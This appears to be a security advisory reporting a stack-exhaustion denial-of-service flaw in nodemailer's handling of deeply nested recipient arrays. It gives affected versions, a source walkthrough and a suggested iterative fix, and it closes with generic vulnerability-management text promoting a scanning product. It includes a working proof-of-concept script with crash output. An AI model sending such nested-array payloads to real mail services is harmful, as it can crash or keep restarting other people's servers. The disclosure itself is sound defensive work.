| Field | Value |
|---|---|
| Ecosystem | npm |
| Package | nodemailer |
| Repository | https://github.com/nodemailer/nodemailer |
| Tested commit | 40d52215aac65b811d7e131bc916f68605efd9d2 |
| Current tested version | 10.0.1 |
| Confirmed vulnerable versions | 2.7.2, 3.0.0, 7.0.11, 9.1.1, 10.0.1 |
| Proposed affected range | >= 2.7.2, <= 10.0.1 |
| Patched version | 10.0.2 |
Nodemailer 10.0.1 does not safely process deeply nested arrays supplied through recipient fields such as to, cc, and bcc.
The public MimeNodeAddressInput type recursively permits arrays, but MimeNode._parseAddresses() flattens only the outermost array. A remaining nested array is passed to addressparser(), whose Tokenizer coerces the input with .toString(). Native Array.prototype.toString() recursively processes every nested array through join() and toString() until the V8 call stack is exhausted.
A valid 10,021-byte JSON recipient value containing one address wrapped in 5,000 arrays causes:
RangeError: Maximum call stack size exceeded
The exception occurs through the normal sendMail() API before the maxRecipients limit is evaluated. If the integrating application does not catch the synchronous exception around the complete sendMail() invocation, the Node.js worker or server process terminates.
No SMTP server, remote host, large attachment, or successful email delivery is required.
This is distinct from GHSA-rcmh-qjqh-p98v / CVE-2025-14874. The previous vulnerability concerned recursive parsing of RFC 5322 group strings. This report uses Nodemailer's structured recipient-array input and never reaches the parser's MAX_NESTED_GROUP_DEPTH protection.
An attacker who can control a recipient field passed to Nodemailer can trigger stack exhaustion using a roughly 10 KB JSON value. Potentially affected integrations include:
sendMail().When the exception is not caught, a single request or queue item can terminate the process handling mail. A process manager may restart the worker, but repeated malicious inputs can keep workers in a restart loop and make the service unavailable.
Applications that explicitly validate recipient values as flat strings or flat arrays before calling Nodemailer are not exposed through this path. Applications that wrap the complete synchronous sendMail() invocation in exception handling can prevent process termination, although an attacker can still repeatedly force failed jobs.
The vulnerability is reachable when:
to, cc, or bcc.The proof of concept uses jsonTransport only to avoid requiring an SMTP server. The vulnerable address normalization and envelope construction occur before transport-specific delivery, so the root cause is not limited to jsonTransport.
At src/mime-node/index.ts:67, recipient input is recursively defined:
export type MimeNodeAddressInput = string | MimeNodeAddress | MimeNodeAddressInput[];
Pinned source:
https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L67
This permits values equivalent to:
[[[[['[email protected]']]]]]
_parseAddresses() removes only the outermost arrayAt src/mime-node/index.ts:1359-1385, _parseAddresses() wraps the input with [].concat(addresses) and iterates the resulting outer array:
_parseAddresses(addresses: MimeNodeAddressInput | undefined): MimeNodeAddress[] {
const flattened: MimeNodeAddress[] = [];
([] as any[]).concat(addresses).forEach(address => {
if (address && address.address) {
const normalized = this._normalizeAddress(address.address);
// ...
return;
}
const parsed = this._normalizeParsedAddresses(addressparser(address));
for (let i = 0; i < parsed.length; i++) {
flattened.push(parsed[i]);
}
});
return flattened;
}
Pinned source:
https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L1359-L1386
For an input nested 5,000 levels deep, the callback receives an array nested 4,999 levels deep. Because this value does not have a truthy .address property, it is passed directly to addressparser().
Tokenizer invokes recursive native array conversionThe Tokenizer constructor performs the following coercion at src/addressparser/index.ts:393:
this.str = (str || '').toString();
Pinned source:
https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/addressparser/index.ts#L393
When str is an array, this invokes Array.prototype.toString(). Array string conversion invokes join(), which converts every nested element to a string. Deeply nested arrays therefore produce native recursion resembling:
Array.toString
-> Array.join
-> childArray.toString
-> Array.join
-> childArray.toString
-> ...
At sufficient depth, V8 raises RangeError: Maximum call stack size exceeded.
Nodemailer's maxRecipients protection is evaluated only after the message envelope has been constructed:
const recipientCount = mail.message.getEnvelope().to.length;
Pinned source:
https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mailer/index.ts#L414-L417
The exception occurs inside getEnvelope(), so maxRecipients cannot prevent this condition.
transporter.sendMail(message)
-> MailComposer(mail.data).compile()
-> mail.message.getEnvelope()
-> MimeNode._parseAddresses(message.to)
-> addressparser(nestedArray)
-> new Tokenizer(nestedArray)
-> nestedArray.toString()
-> Array.join / Array.toString recursion
-> RangeError: Maximum call stack size exceeded
Operating system: Windows 11
Node.js: 20.20.2
Nodemailer: 10.0.1
Nodemailer commit: 40d52215aac65b811d7e131bc916f68605efd9d2
Transport: jsonTransport
mkdir nodemailer-nested-array-poc
cd nodemailer-nested-array-poc
npm init -y
npm install [email protected]
Create poc.mjs:
import nodemailer from 'nodemailer';
const depth = Number(process.argv[2] || 5000);
// Valid JSON containing one address wrapped in `depth` arrays.
const json =
'['.repeat(depth) +
'"[email protected]"' +
']'.repeat(depth);
const recipient = JSON.parse(json);
console.log({
nodemailerVersion: '10.0.1',
depth,
jsonBytes: Buffer.byteLength(json)
});
const transport = nodemailer.createTransport({
jsonTransport: true
});
await transport.sendMail({
from: '[email protected]',
to: recipient,
subject: 'Nested recipient array PoC',
text: 'test'
});
console.log('sendMail resolved');
node poc.mjs 5000
{
nodemailerVersion: '10.0.1',
depth: 5000,
jsonBytes: 10021
}
node:internal/modules/run_main:123
triggerUncaughtException(
^
RangeError: Maximum call stack size exceeded
at Array.join (<anonymous>)
at Array.toString (<anonymous>)
at Array.join (<anonymous>)
at Array.toString (<anonymous>)
at Array.join (<anonymous>)
at Array.toString (<anonymous>)
...
Node.js v20.20.2
The tested process exits with status code 1.
Running the same code with a nesting depth of 500 succeeds:
node poc.mjs 500
Observed result:
{
nodemailerVersion: '10.0.1',
depth: 500,
jsonBytes: 1021
}
sendMail resolved
The difference between the trigger and control cases is only the nesting depth.
JSON.parse() to model data received by an HTTP API or queue worker.jsonTransport is used.The proof of concept was executed against several released versions. Each listed version exited with RangeError: Maximum call stack size exceeded at a depth of 5,000:
| Nodemailer version | Result |
|---|---|
| 2.7.2 | Vulnerable |
| 3.0.0 | Vulnerable |
| 7.0.11 | Vulnerable |
| 9.1.1 | Vulnerable |
| 10.0.1 | Vulnerable |
Version 7.0.11 is significant because it contains the fix for the previous string-group recursion advisory. Its failure confirms that this report describes a separate surviving path.
The proposed affected range is >= 2.7.2, <= 10.0.1, representing the versions directly confirmed during testing and the continuous vulnerable implementation observed in source history. Earlier releases were not assessed and should not be considered confirmed safe.
The previous advisory used a crafted address string containing nested RFC 5322 groups:
g0: g1: g2: ... [email protected];
Its recursive path was:
addressparser(string)
-> _handleAddress()
-> addressparser(nested group string)
That issue was mitigated by adding and propagating a parser recursion-depth counter capped by MAX_NESTED_GROUP_DEPTH.
This report instead supplies a structured JSON array through the public recipient input:
MimeNode._parseAddresses(array)
-> addressparser(array)
-> Tokenizer
-> Array.prototype.toString()
The array conversion happens before any RFC 5322 group parsing. Consequently:
_handleAddress() is not the source of recursion._depth parser option is not incremented.MAX_NESTED_GROUP_DEPTH is never consulted.Previous advisory:
https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v
Flatten MimeNodeAddressInput values iteratively before passing scalar values to addressparser(). Nested arrays should never be implicitly converted to strings.
For example, the implementation can maintain an explicit work stack:
const pending: unknown[] = [addresses];
const seenArrays = new WeakSet<object>();
while (pending.length) {
const value = pending.pop();
if (Array.isArray(value)) {
if (seenArrays.has(value)) {
throw new TypeError('Cyclic recipient array');
}
seenArrays.add(value);
for (let i = value.length - 1; i >= 0; i--) {
pending.push(value[i]);
}
continue;
}
// Process only scalar strings and structured address objects here.
}
Additional hardening options include:
addressparser().sendMail() callback or rejected Promise.maxRecipients.An iterative implementation is preferable because the public TypeScript type is recursive and indicates that nested array structures are accepted inputs. Cycle detection remains necessary for direct JavaScript callers because cyclic arrays cannot originate from JSON but can be constructed in memory.
The fix should cover:
to, cc, bcc, replyTo, and explicit envelope fields.{ name, address } objects.A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.